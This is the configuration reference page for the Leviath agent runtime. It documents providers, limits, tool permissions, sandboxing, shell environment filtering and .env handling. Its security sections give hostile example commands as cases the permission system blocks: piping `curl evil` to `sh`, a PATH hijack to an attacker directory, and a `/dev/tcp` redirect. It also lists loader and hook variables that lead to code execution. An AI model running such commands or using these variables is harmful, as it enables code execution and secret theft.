---
title: Configuration
description: Every config.toml key with its type and default, the env vars that fill them when the file is empty, and the published JSON schema.
group: Reference
group_order: 3
order: 1
---

# Configuration (`config.toml`)

Machine-wide settings live in `~/.leviath/config.toml`. [`lev setup`](/docs/cli) writes it for you,
and everything below is optional: an install with one provider key works with no other key set.

This page is the exhaustive list. The concept pages explain *why* each knob exists; this one is
where you look up the exact name, type, and default. The same contract ships machine-readable as a
[JSON schema](https://leviath.dev/docs/stable/config.schema.json) with a commented
[example file](https://leviath.dev/docs/stable/config.example.toml).

> [!NOTE]
> The daemon watches this file and reloads it when it changes, so an edit takes effect on the
> **next** `lev run` with no restart. Boot-time wiring (providers, MCP connections, telemetry
> exporters) still needs `lev daemon restart`. See [the daemon docs](/docs/daemon#config-changes-take-effect-on-the-next-run).

## Top level

```toml
default_provider     = "anthropic"   # provider used when a blueprint names none
default_model        = "claude-sonnet-4-5"   # optional model override
agent_paths          = ["~/projects/my-agents"]   # extra directories scanned for blueprints
openrouter_api_key   = "sk-or-..."   # env fallback: OPENROUTER_API_KEY
ollama_base_url      = "http://localhost:11434"   # env fallback: OLLAMA_HOST
request_timeout_secs = 900           # per-request HTTP timeout to a provider
taint_tracking       = false         # global master switch, see below
batch_tool_hint      = true          # global master switch, see below
shell_hint           = true          # global master switch, see below
```

| Key | Type | Default | Notes |
|---|---|---|---|
| `default_provider` | string | `"anthropic"` | |
| `default_model` | string | unset | |
| `agent_paths` | array of paths | `[]` | Searched in addition to `~/.leviath/agents` |
| `openrouter_api_key` | string | unset | Falls back to `OPENROUTER_API_KEY` |
| `ollama_base_url` | string | unset | Falls back to `OLLAMA_HOST`, then `http://localhost:11434` |
| `request_timeout_secs` | integer | unset | Unset means the 15 minute ceiling. A stage's `[stages.<name>.model] request_timeout_secs` wins for that stage |
| `taint_tracking` | bool | `false` | Turns on [taint tracking](/docs/security) for every agent. With it off, an agent can still opt in itself |
| `batch_tool_hint` | bool | `true` | Adds a short hint telling the model it may batch independent tool calls |
| `shell_hint` | bool | `true` | Adds a short hint describing the shell a stage will get. Only says anything on Windows today |

All three of those cascade: a stage setting beats an agent setting, which beats this file.

### System-prompt hints

`batch_tool_hint` and `shell_hint` are the two hints Leviath writes into a stage's system prompt on
its own. Both are on by default, both cascade stage over agent over this file, and both sit at the
front of the cacheable prefix so they cost nothing after the first call:

```toml
# config.toml: off for this machine
shell_hint = false
```

```toml
# a blueprint: back on for this one agent, off for one stage of it
[agent]
shell_hint = true

[stages.plan]
shell_hint = false
```

`shell_hint` only reaches a stage that advertises the `shell` tool, and only on a platform whose
shell needs explaining. On Linux and macOS it is inert whatever you set it to. See
[Built-in tools](/docs/tools#which-shell-you-get) for what it says on Windows.

## `[providers]`

Provider credentials. Every key falls back to the matching environment variable, so you can leave
the file empty in CI.

```toml
[providers]
anthropic_api_key   = "sk-ant-..."   # env fallback: ANTHROPIC_API_KEY
openai_api_key      = "sk-..."       # env fallback: OPENAI_API_KEY
google_api_key      = "..."          # env fallback: GOOGLE_API_KEY
claude_code_enabled = false          # opt in to the Claude Code CLI transport
claude_code_binary  = "/usr/local/bin/claude"   # unset resolves `claude` on PATH
claude_code_effort  = "medium"       # low | medium | high | xhigh | max
anthropic_cache_ttl = "5m"           # 5m (default) | 1h
fallback_order      = ["anthropic/claude-sonnet-5", "openai/gpt-5.6-mini"]
```

`anthropic_cache_ttl` is how long a cached prompt prefix survives. The default `5m` is free; `1h`
costs more to write and sends the beta header it needs. It is worth the write cost for a staged
agent. Stages routinely take longer than five minutes, especially when one is running scripts. A
prefix cached at the start of a run is then cold by the time a later stage could have reused it.

`claude_code_enabled` is off unless you turn it on. See
[Providers](/docs/providers#claude-code-transport) for the terms note that goes with it.

`fallback_order` is where a run goes when the provider it is using stops being usable: out of
credits, or a rejected key. Entries are `provider/model` pairs, best first, tried after the stage's
own model list and your default model. One naming a provider you have not configured is skipped.
It is read per run, so a change takes effect on the next `lev run` with no restart. See
[Providers](/docs/providers#a-host-wide-fallback-chain).

## `[limits]`

```toml
[limits]
max_concurrent_inferences = 8    # in-flight requests per model without its own pool entry
max_concurrent_tools      = 8    # agents whose tool batches may run at once, daemon-wide
default_max_iterations    = 50   # fallback cap for a stage that sets none
exact_token_counting      = false
script_shell_timeout_secs = 60
mcp_idle_disconnect_secs  = 60   # disconnect an MCP server no agent has used for this long
stall_timeout_secs        = 60   # fail a run that can never dispatch
dead_cycles_before_relief = 10   # widen the tool lane after this long going nowhere
finished_retention_secs   = 300  # keep a finished run in `lev ps` this long
wedge_timeout_secs        = 0    # fail a run nothing can reach any more; 0 is off
provider_failures_before_open  = 3     # pull a provider after this many failures in a row
provider_circuit_cooldown_secs = 300   # how long before it is tried again
interaction_timeout_secs  = 3600 # release a prompt nobody answered
inference_retry_attempts  = 4    # tries per inference, the first one included
inference_retry_base_ms   = 1000 # first retry wait for an ordinary blip; it doubles
max_tool_call_write_bytes = 2147483648   # 2 GiB; delete the line for no limit
max_run_write_bytes       = 10737418240  # 10 GiB; delete the line for no limit
```

| Key | Default | Notes |
|---|---|---|
| `max_concurrent_inferences` | `8` | The [inference pool](/docs/engine#inference-pools) cap, per model |
| `max_concurrent_tools` | `8` | Size of the shared tool worker pool. Clamped to at least 1 |
| `default_max_iterations` | `50` | A stage's own `max_iterations` always wins |
| `exact_token_counting` | `false` | Count each request exactly before sending it. See below |
| `script_shell_timeout_secs` | `60` | Cap on a Rhai script tool's `shell()` host call |
| `mcp_idle_disconnect_secs` | `60` | Disconnect an [MCP server](/docs/mcp) no agent has used for this long. It reconnects on next use |
| `stall_timeout_secs` | `60` | Fail a run that can never dispatch. See below |
| `dead_cycles_before_relief` | `10` | 30-second cycles with a full [tool lane](/docs/engine#the-tool-lane) and nothing moving before the lane widens. `0` never widens it |
| `finished_retention_secs` | `300` | How long a finished run stays in [`lev ps`](/docs/cli#runs-that-have-finished). See below |
| `wedge_timeout_secs` | `0` (off) | Fail a run nothing can reach any more. See below |
| `provider_failures_before_open` | `3` | Failures in a row before a provider is pulled. See below |
| `provider_circuit_cooldown_secs` | `300` | How long a pulled provider waits before one request tests it. A success restores it, a failure restarts the wait |
| `interaction_timeout_secs` | `3600` | How long a prompt may go unanswered. See below |
| `inference_retry_attempts` | `4` | Tries per inference, the first included. See below |
| `inference_retry_base_ms` | `1000` | First retry wait for an ordinary blip, doubling each retry. See below |
| `max_tool_call_write_bytes` | unset | Most one tool call may write. See below |
| `max_run_write_bytes` | unset | Most a whole run may write. See below |

Eight of those need more than a table cell.

**`exact_token_counting`** measures each assembled request before sending it and refuses one that
would overflow the window. On providers with a remote counting endpoint that costs a network round
trip per inference, so it is off by default.

**`stall_timeout_secs`** only fires for something the runtime cannot resolve on its own. Today that
means a stage whose provider is not configured: the run is ready to work and has nowhere to send the
request. Waiting for a busy model's pool is ordinary backpressure and is never failed, however long
it takes. `0` waits forever.

**`finished_retention_secs`** keeps a run visible after it ends, so a script polling on an interval
can see *how* it ended rather than finding it gone. `0` drops it immediately. The record is held in
memory, so a daemon restart clears it whatever you set.

**`wedge_timeout_secs`** fails a run that is sitting in a state no part of the engine can reach,
rather than leaving it reported as running. A slow run never trips it: an agent waiting on the
model, a tool, its sub-agents, or a person is exempt however long it takes. It is off
by default because it fails runs, and that should be your decision. `300` is sensible if something
outside Leviath is tracking your slots. See [External work queues](/docs/work-queues).

**`provider_failures_before_open`** counts failures only you can fix, such as an exhausted account
or a rejected key, before that provider is taken out of service for every run. Three rather than one,
because a single payment error can just be one oversized request. `0` disables it and leaves per-run
failover to cope alone.

**`inference_retry_attempts`** and **`inference_retry_base_ms`** set how hard a failed model call
is retried before the agent is failed and its finished work is thrown away. Only a *transient*
failure is retried at all: a reset connection, a timeout, a 429, a 5xx. A rejected key or an
over-long request fails on the first answer, because the second would be the same.

There are two schedules, and only the blip one is configurable. An ordinary blip waits
`inference_retry_base_ms` and doubles, so the default four attempts are 1s, 2s, 4s. A **capacity**
refusal - a 429, or Anthropic's 529 "overloaded" - waits 15s, 30s, then 60s per further attempt
instead, because an overload window lasts minutes and a second of waiting only buys another refusal.
When the provider sends a `Retry-After`, that answer wins over both, capped at a minute.

Raising `inference_retry_attempts` is therefore how a run rides out a longer outage: `6` gives a
capacity failure about four minutes of waiting rather than about one and a half. Whatever you set,
the retries of a single request sleep **at most five minutes in total**, and the request itself is
still bounded by its stage's `request_timeout_secs`, so a run can never wait indefinitely.

**`interaction_timeout_secs`** puts a deadline on any prompt that waits on a person: `ask_user_*`,
tool approvals, taint gates, and interaction points. When it expires the daemon resolves the prompt
and lets the run continue. An expiry *denies* an approval and tells the model no answer came. It
never counts as consent. `0` waits indefinitely. See
[when nobody answers](/docs/interaction#when-nobody-answers).

<a id="security"></a>

**`max_tool_call_write_bytes`** and **`max_run_write_bytes`** bound how much an agent puts on disk.
Both are **unset in code and written by `lev setup`**, which is the unusual part and is deliberate.
How much an agent should be allowed to write depends on what you are doing with it, so Leviath
imposes nothing on a config it did not write. A fresh install gets concrete numbers here, where you
can see them and **delete the line to remove the limit**.

The incident behind them was a single shell call appending in a loop until the 60-second timeout.
That put about 14 GB on disk from one call that looked ordinary, and it repeated until the disk was
full.

They work differently because they have to. `write_file` and `edit_file` carry their content as an
argument, so an oversized one is refused before a byte lands. A shell redirect does not: those bytes
go from the shell to the file without passing through Leviath, so the target is measured *after* the
call. That stops the call after the one that overran, not the one that did.

Running out of disk is separate and **not configurable**. Leviath refuses any write that would leave
under a gigabyte free, whatever these two say and whatever `--yolo` says, because filling the disk
harms every other process on the machine rather than just the run. A filesystem whose free space
cannot be read is treated as unknown and allowed, because a guard that cannot measure has nothing to
say. The two ceilings above still apply to it.

## `[security]`

Machine-wide switches that are not part of the per-tool permission cascade.

```toml
[security]
allowed_workdirs           = []   # workdir roots lev run accepts without a confirm prompt
allow_seed_commands        = true
allow_local_network        = false
allow_env_vars             = ["MY_PROVIDER_KEY"]
allow_blueprint_read_paths = false
allow_blueprint_safe_commands = false
allow_blueprint_permissions   = false
shell_env                  = "filtered"   # filtered | strict | custom | inherit
shell_env_withhold         = []          # names withheld under shell_env = "custom"
read_paths                 = ["~/.leviath/runs", "glob:~/design-docs/**"]
credential_store           = "file"   # file | keychain
```

| Key | Default | Notes |
|---|---|---|
| `allowed_workdirs` | `[]` | Directories a run's workdir may sit under without being confirmed. See below |
| `allow_seed_commands` | `true` | Whether a blueprint's `seed = { command = "..." }` regions may run at all. See below |
| `allow_local_network` | `false` | Whether agent fetches may reach loopback, private, and link-local addresses. See below |
| `allow_env_vars` | `[]` | Credential-shaped variable names a Rhai script may read through `env_var()`. Exact and case-insensitive, no wildcards |
| `allow_blueprint_read_paths` | `false` | Honors every blueprint's `[read_paths]` as written. Prefer a per-agent grant for anything you did not author |
| `allow_blueprint_safe_commands` | `false` | Honors every blueprint's `[safe_commands]` as written. Off, an installed agent cannot pre-approve its own shell |
| `allow_blueprint_permissions` | `false` | Honors every blueprint's `[tool_permissions]`, even above the built-in default. See below |
| `shell_env` | `"filtered"` | Which of the daemon's environment variables a shell command inherits. See below |
| `shell_env_withhold` | `[]` | The names `shell_env = "custom"` withholds. Ignored under every other mode |
| `read_paths` | `[]` | Machine-wide read grants, which apply only where a blueprint declares the path too. See below |
| `credential_store` | `"file"` | `keychain` moves secrets to the OS credential store. Run `lev auth migrate` after changing it |

Five of those need more than a table cell.

**`allowed_workdirs`** silences the confirm prompt for everything under a listed path. Left empty,
`lev run` asks only about the alarming cases: a home directory, or a filesystem root.

**`allow_seed_commands`** covers commands that run at spawn, before the first approval prompt.
Because there is nobody to ask at that moment, a seed command also has to be covered by
`[safe_commands]`. `--no-seed-commands` refuses seed commands for one run.

**`allow_local_network`** is off by default. Off, an agent's fetches cannot reach cloud metadata
endpoints, your own `lev serve`, or anything else on your LAN.

**`allow_blueprint_permissions`** off still lets a blueprint pre-approve `web_search` and
`web_fetch`. Anything else is clamped to the built-in default. To grant one tool to one agent
instead, name it under `[agent_tool_permissions.<agent>]`.

**`read_paths`** opens nothing on its own. A grant applies only to a path the blueprint also
declares, so both halves have to name it.

Grant entries (here and in `[agent_read_paths]`) take three forms: an exact path, which grants its
subtree; `glob:` patterns; and `regex:` patterns, auto-anchored. Both patterns are matched against
the symlink-resolved real path and are written with `/` on every OS. `~/` expands to your home, and
a relative entry resolves against the run's workdir. Full walkthrough in
[Security](/docs/security#reading-outside-the-workdir).

## `[agent_read_paths.<agent>]`

Per-agent read grants, the itemized counterpart of `allow_blueprint_read_paths`.

```toml
[agent_read_paths.cto]
allow = ["~/.leviath/runs", "glob:~/design-docs/**"]
```

An agent's declarations mean nothing until one of these grants lands, so `lev validate <agent>`
checks each declared entry against this file and prints the block above, filled in, for whatever it
does not find. `lev list` and `lev ps` carry the same counts.

## Tool permissions

`[tool_permissions]` sets a machine-wide ceiling. A blueprint's own `[tool_permissions]` may
tighten it but never loosen it. For a tool you have not listed here there is no ceiling to clamp
against, so a blueprint may raise it no higher than the built-in default. The exceptions are
`web_search` and `web_fetch`, which read-only research agents pre-approve. To go further, name the
tool under `[agent_tool_permissions.<agent>]`, or set `[security] allow_blueprint_permissions`.

```toml
[tool_permissions]
shell      = "ask"     # allow | ask | deny
write_file = "ask"
read_file  = "allow"
```

`[agent_tool_permissions.<agent>]` is the escape hatch. Naming an agent replaces the global value
for it, and that becomes the ceiling its blueprint is clamped against.

```toml
[agent_tool_permissions.coder]
shell = "allow"
```

Resolution order, narrowest first: launch flag, stage, agent, this file, built-in default. A launch
flag (`--allow`, `--yolo`) can turn `ask` into `allow` but can never lift a `deny`. The built-in
defaults are in [Built-in tools](/docs/tools).

### What a shell command inherits

The daemon holds provider keys, `LEVIATH_API_TOKEN`, and whatever the person who started it had
exported. Handing all of that to every shell command means one `env` in tool output leaks the lot.
`shell_env` decides how much a `shell` tool call, a Rhai `shell()`, and a region's command seed
inherit. All three answer to the same setting, so a script with `shell` is not a way around the
`env_var` gate.

| Mode | What it withholds |
|---|---|
| `filtered` (default) | Credential-shaped names, **except `SSH_AUTH_SOCK`**, so `git push` over agent keys still works |
| `strict` | The same, plus `SSH_AUTH_SOCK`, `AWS_PROFILE`, `AWS_REGION`, `KUBECONFIG`, `NETRC`. See below |
| `custom` | Exactly the names in `shell_env_withhold`, and nothing inferred |
| `inherit` | Nothing |

`strict` breaks `git push`, `aws` and `kubectl` inside a shell tool until you list the names those
commands need. Toolchain variables pass through under every mode: `PATH`, `HOME`, `CARGO_HOME`,
`JAVA_HOME`, `VIRTUAL_ENV`, `NVM_DIR`, `GOPATH`, `DOCKER_HOST`, `TERM`. `allow_env_vars` hands a
specific name over under every mode too, so one list means one thing whichever surface asks.

```toml
[security]
shell_env          = "custom"
shell_env_withhold = ["MY_INTERNAL_TOKEN", "LEGACY_CRED"]
allow_env_vars     = ["MY_PROVIDER_KEY"]
```

Be clear about what this buys. With `cat` and `grep` on the default safe list, a granted shell can
read `~/.leviath/config.toml` and find the provider key anyway. This is defence in depth against
accidental leakage: an `env` in tool output, a `printenv` in a log, a subprocess that phones home.
It also closes the command-seed case, where nothing was ever approved. It is not a boundary. For
one, use `[sandbox]`.

## `[safe_commands]` and `[agent_safe_commands.<agent>]`

A permission is per tool name, which for the shell is a choice between a prompt on every `ls` and no
prompt on `curl evil | sh`. These entries are argument-scoped, and can only turn an `ask` into an
`allow`. They never lift a configured `deny`.

```toml
[safe_commands]
defaults = true                 # ship the read-only verb list
tools    = ["read_files"]
shell    = ["cargo test", "rg"]

[agent_safe_commands.coder]
shell           = ["./gradlew", "env:GRADLE_OPTS"]
allow_blueprint = true          # honour this agent's own [safe_commands]
```

| Key | Default | Notes |
|---|---|---|
| `defaults` | `true` | The shipped read-only verb list. See below |
| `tools` | `[]` | Tools that never prompt whatever their arguments. Built-in names, or MCP names as advertised (`server__tool`) |
| `shell` | `[]` | A program, optionally with the subcommand that narrows it. `git status`, never `git` or `cargo test --lib`. Also `env:NAME`, below |
| `allow_blueprint` | `false` | Per-agent only. Honour that agent's own `[safe_commands]` block |

An entry on the `defaults` list has to clear one bar: under any flag, it must not be able to write a
file, run another program, or open a connection. That is why `find`, `sed`, `awk`, `sort`, `xargs`,
`env` and `cargo` are absent from it. It is also why `uniq` (it writes its second operand), `tree`
(`-o`) and `rg` (`--pre` runs a command) were taken off. Add any of them back by name if you want
them unprompted.

A shell entry covers the program it names with any arguments, so `cat` covers `cat notes.md`. It
does not cover a line that also runs something else: `cat notes.md && curl evil` still asks, because
`curl` is in neither the safe list nor any grant. `lev approvals safe` prints what is in effect and
which file put it there.

### Environment assignments

A command line decides more than which program runs. `PATH=/tmp/evil ls` runs `ls` from a directory
of the caller's choosing, and `export PATH=/tmp/evil; ls` does the same a segment earlier, so naming
the program alone would let the safe list approve somebody else's binary. Each variable a line binds
is therefore its own key, spelled `env:NAME`:

```toml
[safe_commands]
shell = ["env:RUST_LOG", "env:CARGO_TERM_COLOR"]
```

`RUST_LOG=debug cargo test` then needs `cargo test` and `env:RUST_LOG`, and granting one variable
grants exactly that one. There is no entry that covers every variable at once, and no program name
widens onto an `env:` key.

Two constructs are refused rather than keyed, because they install code to run at a point no program
name in the line describes: `trap`, and defining or aliasing a name with `function`, `alias` or
`unalias`. A line containing one of those prompts every time and cannot be pre-approved. `set -euo
pipefail` is unaffected, since shell options change nothing about which program a name resolves to.

### Redirects

`echo x > file` writes a file, and no tool name in the call says so. A shell call that redirects
output is therefore held to the `write_file` policy as well as the shell's own. Where `write_file`
is `deny` the call is refused, and it is never quieter than a `write_file` call would have been.
That is what stops a redirect being a spelling of `write_file` that a `deny` never sees.

Each target is also its own key, so an approval names what is being written:

```
Allow cat notes.md, >/tmp/report.txt for this run
```

A write cannot be pre-approved in a config file the way a program can. `[safe_commands] shell`
rejects any entry beginning with `>`. A write is approved by a person, per target, or not at all.

Three shapes cost nothing, because they write nothing that outlives the call. The first is the
throwaway devices: `/dev/null`, `/dev/stdout`, `/dev/stderr`, `/dev/tty` and `/dev/fd/*`. The second
is a descriptor duplication such as `2>&1`. The third is a read redirect, since a program that can
read a file could already read it. So `cargo build > /dev/null 2>&1` and `cat notes.md 2>/dev/null`
are as quiet as they were.

Two shapes cannot be granted at all. A target that only exists after expansion (`> $OUT`) names a
different file on every run. Bash's `> /dev/tcp/host/port` is a socket rather than a file, which
makes the redirect a network channel no program name describes. Both prompt every time.

<a id="tool_script_permissions"></a>

## `[tool_script_permissions]`

Layer 3 of the permission model: what a Rhai script tool may *do*, independent of whether the tool
is visible or approved. Each key is `allow`, `deny`, or `inherit`.

```toml
[tool_script_permissions]
http_get   = "inherit"
http_post  = "inherit"
shell      = "inherit"
read_file  = "inherit"
write_file = "inherit"
env_var    = "inherit"
```

Every field defaults to `inherit`. For `shell`, `read_file`, and `write_file`, that defers to the
agent's own permission for the equivalent built-in and permits the call only when it resolves to
`allow`. For `http_get`, `http_post`, and `env_var`, which have no built-in equivalent, `inherit`
permits the call; the tool itself is still gated by the other three layers. See
[Rhai tools](/docs/rhai-tools).

## `[sandbox]`

The machine-wide default sandbox for tool execution. An agent's or stage's own `[sandbox]`
overrides it, and the two resolve to the **stronger** of the pair, so an installed agent can tighten
its sandbox but never turn one off.

```toml
[sandbox]
kind           = "container"   # none | namespace | container
image          = "debian:bookworm-slim"
engine         = "docker"      # docker | podman | nerdctl | finch; auto-detected when unset
network        = true
mounts         = ["/opt/toolchain:ro"]
persist        = false
on_unavailable = "error"       # error | warn
```

Unset entirely, agents run tools on the host. Details in
[Security and sandboxing](/docs/security#sandboxes).

## `[rate_limits.<provider>]`

Client-side limits enforced before every call, for the built-in providers (`anthropic`, `openai`,
`google`, `openrouter`).

```toml
[rate_limits.anthropic]
requests_per_minute = 50
tokens_per_minute   = 40000
```

This shapes request *rate*. `[limits] max_concurrent_inferences` bounds *concurrency*. Both apply.
Script providers configure theirs under `[model_providers.<name>.rate_limit]` instead.

## Keys nothing reads

A key Leviath does not recognize is named at start-up rather than ignored, wherever it sits:

```
WARN config.toml has keys nothing reads; they are being ignored.
     keys=limits.max_concurrent_tool, cache, providers.anthropic_cach_ttl
```

`lev doctor` reports the same list, for when that scrolls past. It also names a
`[rate_limits.<provider>]` entry whose provider does not exist, which is a case the key check cannot
see: that table takes any name, so a misspelled provider deserializes perfectly and throttles
nothing.

This is a warning, not an error. Every command reads `config.toml`, so one stale key should not take
the CLI down. A blueprint is different: it is authored and validated deliberately, and it fails on
an unknown key.

The one place unrecognized keys are *kept*: `[model_providers.<name>]` forwards anything it does not
recognize to the Rhai script, so those are read and never reported.

## `[model_capabilities.<model_id>]`

Per-model corrections to the provider's built-in capability table. Useful for a local or
self-hosted model Leviath does not know, or one whose window it has wrong.

**Name only what you are changing.** Every field is optional and an unnamed one keeps whatever the
provider already reports for that model, so the common case is one line:

```toml
[model_capabilities."moonshotai/kimi-k3"]
max_context_tokens = 1048576
```

A misspelled key is refused at load rather than ignored, so a typo cannot look like a working
override. The full set, when you do want to state all of it:

```toml
[model_capabilities.my-local-llama]
supports_temperature = true
supports_streaming   = true
supports_tools       = true
supports_system_prompt = true
max_context_tokens   = 32768
max_output_tokens    = 4096
```

`lev models show <model>` prints the values a run will actually use, with any correction already
applied.

### Where a window comes from

Three sources, narrowest first:

1. A `[model_capabilities]` entry, if you wrote one. Your number is the last word, which is how you
   correct an API that is itself wrong.
2. What the provider's own API reports, read once when the daemon starts. OpenRouter fronts far more
   models than any compiled table can name, so its `/models` endpoint is the only current answer for
   most of them.
3. The table compiled into this build, and for an OpenRouter model it does not name, a conservative
   128,000 tokens.

The reason this order matters is that region budgets are percentages of the window. A `budget = "30%"`
region on a model that really holds 1M tokens is 314,572 tokens if the window is known, and 38,400
if it fell back. Neither case raises an error. The agent evicts working material early and reads as
a worse model.

A provider that cannot be reached at start-up costs nothing but the fallback: Leviath warns, keeps
the compiled table, and starts. It warns once per model when a run does land on the fallback, naming
the line that fixes it.

> [!NOTE]
> Region budgets written as percentages resolve against `max_context_tokens`, so a wrong window is
> not cosmetic. A `budget = "30%"` region on a model assumed to be 128k gets 38 400 tokens instead
> of the 314 572 a 1M-token model would give it. OpenRouter fronts far more models than any built-in
> table names, so Leviath warns once per model when it falls back to a conservative window and tells
> you the line to add here.

<a id="model_providersname"></a>

## `[model_providers.<name>]`

Optional overrides for a [Rhai script provider](/docs/rhai-providers). A script activates by being
referenced and existing in `~/.leviath/providers/`; this table only supplies extras.

```toml
[model_providers.groq]
script   = "groq"        # defaults to <name>.rhai
api_key  = "..."
base_url = "https://api.groq.com/openai/v1"

[model_providers.groq.rate_limit]
requests_per_minute = 30
tokens_per_minute   = 100000
```

Any other key you add is forwarded verbatim to the script's `initialize(config)`.

## `[[mcp_servers]]`

[MCP](/docs/mcp) tool servers. `lev mcp add` writes these for you.

```toml
[[mcp_servers]]
name      = "github"
transport = "http"        # stdio | http; inferred from command/url when omitted
url       = "https://api.example.com/mcp"
headers   = { Authorization = "Bearer ${GITHUB_TOKEN}" }

[[mcp_servers]]
name      = "local-fs"
transport = "stdio"
command   = "npx"
args      = ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
env       = { LOG_LEVEL = "debug" }
```

Values in `headers` and `env` may use `${VAR}` to pull from the environment.

## `[nudge]`

Machine-wide defaults for the empty-response nudge: the `[System]` message injected when a stage's
model replies with text before making any tool call.

```toml
[nudge]
enabled = true
max     = 3
text    = "You have tools available. Please use them to complete the task. Start by reading the relevant files in the working directory."
```

All three keys are optional and each is overridden independently by an agent's `[agent.nudge]` or a
stage's `[stages.<name>.nudge]`. `text` supports `{stage}` and `{regions}` placeholders. Defaults
are on, `max = 3`, and a built-in message. See [Nudging](/docs/stages#nudging).

## `[title]`

Auto-generated short run titles.

```toml
[title]
enabled  = true
provider = "anthropic"
model    = "claude-haiku-4-5-20251001"
```

`enabled` defaults to `true`. `provider` and `model` fall back to the run's own first-stage
provider and model.

## `[webhook]`

Delivery tuning for completion webhooks. Every field has a default, so the whole section can be
omitted. The webhook URL itself is per-spawn, not configured here; see [the API docs](/docs/api).

```toml
[webhook]
max_retries   = 3       # retries after the first attempt; 0 disables retries
base_delay_ms = 500     # doubles per retry, capped at max_delay_ms
max_delay_ms  = 30000
timeout_secs  = 10      # per attempt
```

## `[observability]`

OpenTelemetry export, off by default. Full walkthrough in [Observability](/docs/observability).

```toml
[observability]
enabled      = true
exporter     = "otlp"    # otlp | stdout | none
endpoint     = "http://localhost:4318"
service_name = "leviath"
```

`endpoint` falls back to `OTEL_EXPORTER_OTLP_ENDPOINT`, then `http://localhost:4318`. Leviath
exports OTLP over **HTTP/protobuf**, so a collector's gRPC port (4317) will not work.
`service_name` falls back to `OTEL_SERVICE_NAME`, then `"leviath"`.

## Environment variables

Leviath reads a `.env` file from the working directory unless `LEVIATH_SKIP_DOTENV` is set. Only
that one file, never a walk up the tree, and a variable you have already exported always wins.

A cloned repository *is* the working directory, so its `.env` is content somebody else wrote.
Credentials from it load normally, which is what the feature is for. The handful of names that
decide where configuration comes from, or what gets executed, are ignored instead, with a warning
naming them. That covers the `LEVIATH_` namespace, `PATH`, `SHELL`, `EDITOR`, `VISUAL`, and the
`LD_*` and `DYLD_*` loader variables. It also covers the interpreter and tool hook variables that
turn a later command into code execution: `BASH_ENV`, `GIT_SSH_COMMAND` and the other `GIT_*` hooks,
`PAGER`, `NODE_OPTIONS`, `PYTHONSTARTUP`, `PYTHONPATH`, `PERL5OPT`, `RUBYOPT`, `JAVA_TOOL_OPTIONS`,
`RUSTC_WRAPPER`, and their kin. Without that, one line of `LEVIATH_CONFIG_PATH` in a repository you cloned would point
Leviath at a config file of its choosing, with its own MCP server commands and tool permissions.
Export those yourself if you meant them.

| Variable | Effect |
|---|---|
| `LEVIATH_HOME` | Redirects the whole data root. Every home-relative path honors it, so an isolated test or a second install works |
| `LEVIATH_CONFIG_PATH` | Path to an exact config file, bypassing the default location |
| `LEVIATH_SKIP_DOTENV` | Set to skip `.env` loading |
| `LEVIATH_RUNS_DIR` | Overrides where run directories are written |
| `LEVIATH_API_TOKEN` | Bearer token for `lev serve`. The server refuses to start without one |
| `LEVIATH_CONTROL_TIMEOUT_SECS` | Deadline for one control-socket request |
| `LEVIATH_DASHBOARD_LOG_PATH` | Overrides the dashboard log file |
| `LEVIATH_DUMP_REQUEST_DIR` | Writes each outgoing provider request to this directory, for debugging |
| `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `GOOGLE_API_KEY`, `OPENROUTER_API_KEY` | Provider key fallbacks for `[providers]` |
| `OLLAMA_HOST` | Fallback for `ollama_base_url` |
| `OTEL_EXPORTER_OTLP_ENDPOINT`, `OTEL_SERVICE_NAME` | Fallbacks for `[observability]` |
| `EDITOR`, `VISUAL` | Editor used when a prompt opens one |
| `XDG_CONFIG_HOME` | Where `policy.toml` and scripted rules are looked up. Linux only |

> [!WARNING]
> A variable whose name looks like a credential is not readable by Rhai scripts through `env_var()`
> unless you list it in `[security] allow_env_vars`. That closed an exfiltration path where a
> two-line script tool could read a provider key and POST it elsewhere with no prompt.

## Where things live on disk

Everything persistent sits under the data root, `<home>/.leviath`, which `LEVIATH_HOME` redirects.

| Path | Holds |
|---|---|
| `config.toml` | This file, created `0600` |
| `mcp-auth.json` | MCP OAuth tokens, created `0600` |
| `runs/` | One directory per run: `meta.json`, `context.json`, `stages.json`, the `run.lvr` journal, per-stage logs |
| `agents/` | Blueprints installed by `lev add` |
| `providers/` | Drop-in [Rhai provider](/docs/rhai-providers) scripts |
| `tools/` | Drop-in [Rhai tool](/docs/rhai-tools) scripts, offered to every agent |
| `dashboard.log` | `lev dash` diagnostics |

The daemon's control socket, its token, its pid file, and a build marker live here too.

## `policy.toml`

Taint-gate policy lives in its own file, not in `config.toml`. It sits in your platform's config
directory, managed with [`lev policy`](/docs/cli):

| Platform | Path |
|---|---|
| macOS | `~/Library/Application Support/leviath/policy.toml` |
| Linux | `~/.config/leviath/policy.toml`, or `$XDG_CONFIG_HOME/leviath/policy.toml` when set |
| Windows | `%APPDATA%\leviath\policy.toml` |

```toml
[[allowlist]]
tool             = "http_post"
to               = ["https://hooks.internal/*"]
max_sensitivity  = "internal"   # public | internal | private

[mcp_overrides."github.create_issue"]
sensitivity = "internal"
direction   = "outbound"
clearance   = "internal"
```

Scripted rules live as `.rhai` files in a `rules/` directory beside `policy.toml`, so
`~/Library/Application Support/leviath/rules/` on macOS and `~/.config/leviath/rules/` on Linux. See
[Rhai tools](/docs/rhai-tools#policy-rules) and [Security](/docs/security#taint-tracking-experimental).
